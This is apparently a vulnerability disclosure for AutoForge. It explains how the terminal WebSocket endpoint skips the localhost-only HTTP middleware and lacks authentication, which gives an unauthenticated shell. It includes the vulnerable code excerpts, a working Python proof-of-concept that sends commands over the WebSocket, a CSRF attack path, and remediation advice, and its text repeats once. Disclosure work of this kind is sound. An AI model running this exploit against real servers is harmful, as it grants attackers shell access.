Summary
AutoForge has a Pre-Auth Remote Code Execution vulnerability. The terminal WebSocket endpoint /api/terminal/ws/{project_name}/{terminal_id} bypasses the localhost-only HTTP middleware because Starlette's BaseHTTPMiddleware only intercepts scope["type"] == "http", automatically skipping WebSocket connections (scope["type"] == "websocket").
When ALLOW_REMOTE is enabled (via --host 0.0.0.0), the localhost middleware is not registered at all and CORS allows all origins (allow_origins=["*"]), resulting in a fully unauthenticated, network-accessible interactive shell.
Severity: CVSS 9.8 (Critical)
CWE-306: Missing Authentication for Critical Function
Vulnerability Details
Root Cause: BaseHTTPMiddleware Does Not Intercept WebSocket
In server/main.py (lines 145-155), the localhost restriction uses @app.middleware("http"):
if not ALLOW_REMOTE:
@app.middleware("http")
async def require_localhost(request: Request, call_next):
client_host = request.client.host if request.client else None
if client_host not in ("127.0.0.1", "::1", "localhost", None):
raise HTTPException(status_code=403, detail="Localhost access only")
return await call_next(request)
Starlette's BaseHTTPMiddleware.__call__() begins with:
if scope["type"] != "http":
await self.app(scope, receive, send)
return
WebSocket connections have scope["type"] == "websocket", so they bypass this middleware entirely.
Unprotected Terminal Endpoint
In server/routers/terminal.py (line 206), the WebSocket endpoint has zero authentication:
@router.websocket("/ws/{project_name}/{terminal_id}")
async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_id: str):
await websocket.accept() # No authentication check
PTY Shell Execution
In server/services/terminal_manager.py (lines 238-276):
child_pid, fd = pty.fork()
if child_pid == 0:
os.execvp(shell, [shell]) # Spawns bash as server user
ALLOW_REMOTE Mode
When running with --host 0.0.0.0:
- The
require_localhost middleware is not registered at all
- CORS allows all origins:
allow_origins=["*"]
Proof of Concept
import websocket, json, time, base64
ws = websocket.WebSocket()
ws.connect('ws://TARGET:8888/api/terminal/ws/default/exploit-001')
# No auth required - connection accepted immediately
ws.send(json.dumps({"type": "resize", "cols": 80, "rows": 24}))
time.sleep(2)
try:
while True:
ws.settimeout(1)
ws.recv()
except: pass
cmd = base64.b64encode(b"id && whoami\n").decode()
ws.send(json.dumps({"type": "input", "data": cmd}))
time.sleep(2)
try:
while True:
ws.settimeout(1)
data = ws.recv()
msg = json.loads(data)
if msg.get("type") == "output":
print(base64.b64decode(msg["data"]).decode(), end="")
except: pass
ws.close()
# Output: uid=0(root) gid=0(root) groups=0(root)
CSRF Attack (Even Localhost Mode)
Even when bound to localhost, a malicious webpage can exploit the WebSocket because:
CORSMiddleware also skips WebSocket connections
- The server does not validate the
Origin header on WebSocket handshake
Suggested Remediation
- Add WebSocket-level authentication (token in query string or first message)
- Use a raw ASGI middleware that handles both
http and websocket scope types
- Validate the
Origin header on WebSocket handshake to prevent CSRF
Impact
An unauthenticated attacker can obtain a full interactive shell on the server via a single WebSocket connection. No user interaction or authentication token is required.
Note: I attempted to report this via GitHub's Private Vulnerability Reporting, but it is not enabled for this repository. Please consider enabling it for future reports.
Summary
AutoForge has a Pre-Auth Remote Code Execution vulnerability. The terminal WebSocket endpoint
/api/terminal/ws/{project_name}/{terminal_id}bypasses the localhost-only HTTP middleware because Starlette'sBaseHTTPMiddlewareonly interceptsscope["type"] == "http", automatically skipping WebSocket connections (scope["type"] == "websocket").When
ALLOW_REMOTEis enabled (via--host 0.0.0.0), the localhost middleware is not registered at all and CORS allows all origins (allow_origins=["*"]), resulting in a fully unauthenticated, network-accessible interactive shell.Severity: CVSS 9.8 (Critical)
CWE-306: Missing Authentication for Critical Function
Vulnerability Details
Root Cause: BaseHTTPMiddleware Does Not Intercept WebSocket
In
server/main.py(lines 145-155), the localhost restriction uses@app.middleware("http"):Starlette's
BaseHTTPMiddleware.__call__()begins with:WebSocket connections have
scope["type"] == "websocket", so they bypass this middleware entirely.Unprotected Terminal Endpoint
In
server/routers/terminal.py(line 206), the WebSocket endpoint has zero authentication:PTY Shell Execution
In
server/services/terminal_manager.py(lines 238-276):ALLOW_REMOTE Mode
When running with
--host 0.0.0.0:require_localhostmiddleware is not registered at allallow_origins=["*"]Proof of Concept
CSRF Attack (Even Localhost Mode)
Even when bound to localhost, a malicious webpage can exploit the WebSocket because:
CORSMiddlewarealso skips WebSocket connectionsOriginheader on WebSocket handshakeSuggested Remediation
httpandwebsocketscope typesOriginheader on WebSocket handshake to prevent CSRFImpact
An unauthenticated attacker can obtain a full interactive shell on the server via a single WebSocket connection. No user interaction or authentication token is required.
Note: I attempted to report this via GitHub's Private Vulnerability Reporting, but it is not enabled for this repository. Please consider enabling it for future reports.